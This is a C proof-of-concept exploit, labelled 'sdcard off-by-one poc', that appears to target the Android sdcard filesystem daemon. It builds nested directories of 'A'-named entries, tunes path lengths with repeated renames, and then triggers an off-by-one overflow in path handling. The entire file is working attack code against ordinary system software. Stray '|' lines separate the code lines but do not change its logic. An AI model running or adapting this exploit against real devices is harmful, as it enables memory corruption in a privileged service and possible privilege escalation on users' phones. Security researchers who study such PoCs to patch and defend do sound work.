#include <stdio.h>
|
#include <stdlib.h>
|
#include <string.h>
|
|
#include <fcntl.h>
|
|
#include <sys/stat.h>
|
#include <sys/types.h>
|
|
#include <unistd.h>
|
|
static void _append_dir(char* dst, size_t dst_len, const char* src) {
|
if (dst_len > strlen(dst) + 2) {
|
strncat(dst, src, dst_len - strlen(dst));
|
strncat(dst, "/", dst_len - strlen(dst));
|
}
|
}
|
|
static void _append_file(char* dst, size_t dst_len, const char* src) {
|
if (dst_len > strlen(dst) + 2) {
|
strncat(dst, src, dst_len - strlen(dst));
|
}
|
}
|
|
#define append_dir(dst, src) _append_dir(dst, sizeof(dst), src)
|
#define append_file(dst, src) _append_file(dst, sizeof(dst), src)
|
|
char* base_path = "/data/tmp/default/badger";
|
const size_t overflow_count = 14;
|
|
static const char* name(size_t length) {
|
static char name[256];
|
if (length > 255) {
|
abort();
|
}
|
memset(name, 'A', length);
|
name[length] = 0;
|
return name;
|
}
|
|
static int rename_and_test(const char* old_path, const char* new_path) {
|
if (0 == rename(old_path, new_path)) {
|
int fd = open(name(1), O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
|
if (fd > 0) {
|
close(fd);
|
return 1;
|
}
|
}
|
|
return 0;
|
}
|
|
static int rename_pad_1(size_t old_size, size_t new_size) {
|
size_t i = 0;
|
int fd = 0;
|
char old_path[0x1000];
|
char new_path[0x1000];
|
|
memset(old_path, 0, sizeof(old_path));
|
memset(new_path, 0, sizeof(new_path));
|
|
fprintf(stderr, " rename_pad_1(%zu, %zu)\n", old_size, new_size);
|
|
append_dir(old_path, base_path);
|
for (i = 0; i < overflow_count; ++i) {
|
append_dir(old_path, name(1));
|
}
|
append_dir(old_path, name(1));
|
|
strcpy(new_path, old_path);
|
|
append_file(old_path, name(old_size));
|
append_file(new_path, name(new_size));
|
|
return rename_and_test(old_path, new_path);
|
}
|
|
static void rename_overflows(size_t new_size) {
|
size_t i = 0, j = 0;
|
|
fprintf(stderr, " rename_overflows(%zu)\n", new_size);
|
|
for (i = overflow_count; i > 0; --i) {
|
char old_path[0x1000];
|
char new_path[0x1000];
|
|
memset(old_path, 0, sizeof(old_path));
|
memset(new_path, 0, sizeof(new_path));
|
|
append_dir(old_path, base_path);
|
for (j = 0; j < i - 1; ++j) {
|
append_dir(old_path, name(1));
|
}
|
|
strcpy(new_path, old_path);
|
|
append_file(old_path, name(1));
|
append_file(new_path, name(new_size));
|
|
rename(old_path, new_path);
|
}
|
}
|
|
static int rename_pad_2(size_t old_size, size_t new_size) {
|
size_t i = 0;
|
char old_path[0x1000];
|
char new_path[0x1000];
|
|
memset(old_path, 0, sizeof(old_path));
|
memset(new_path, 0, sizeof(new_path));
|
|
fprintf(stderr, " rename_pad_2(%zu, %zu)\n", old_size, new_size);
|
|
append_dir(old_path, base_path);
|
for (i = 0; i < overflow_count; ++i) {
|
append_dir(old_path, name(255));
|
}
|
append_dir(old_path, name(1));
|
|
strcpy(new_path, old_path);
|
|
append_file(old_path, name(old_size));
|
append_file(new_path, name(new_size));
|
|
return rename_and_test(old_path, new_path);
|
}
|
|
int main(int argc, char** argv) {
|
size_t i = 0;
|
|
fprintf(stderr, "[*] sdcard off-by-one poc\n");
|
chdir(base_path);
|
|
fprintf(stderr, "[*] getting everything ready...\n");
|
fprintf(stderr, " - creating %i small entries\n", overflow_count + 2);
|
for (i = 0; i < overflow_count + 2; ++i) {
|
mkdir(name(1), S_IRWXU | S_IRWXG | S_IRWXO);
|
chdir(name(1));
|
}
|
|
fprintf(stderr, " - creating large entries\n");
|
for (i = 0; ; ++i) {
|
if (0 > mkdir(name(255), S_IRWXU | S_IRWXG | S_IRWXO)) {
|
break;
|
}
|
chdir(name(255));
|
}
|
|
fprintf(stderr, " - adjusting pad_1 entry\n");
|
for (i = 2; i < 255; ++i) {
|
if (!rename_pad_1(i-1, i)) {
|
rename_pad_1(i, i-1);
|
break;
|
}
|
}
|
|
fprintf(stderr, " - resizing overflow entries\n");
|
rename_overflows(255);
|
|
fprintf(stderr, "[*] triggering!\n");
|
for (i = 2; i < 255; ++i) {
|
rename_pad_2(i - 1, i);
|
}
|
}
|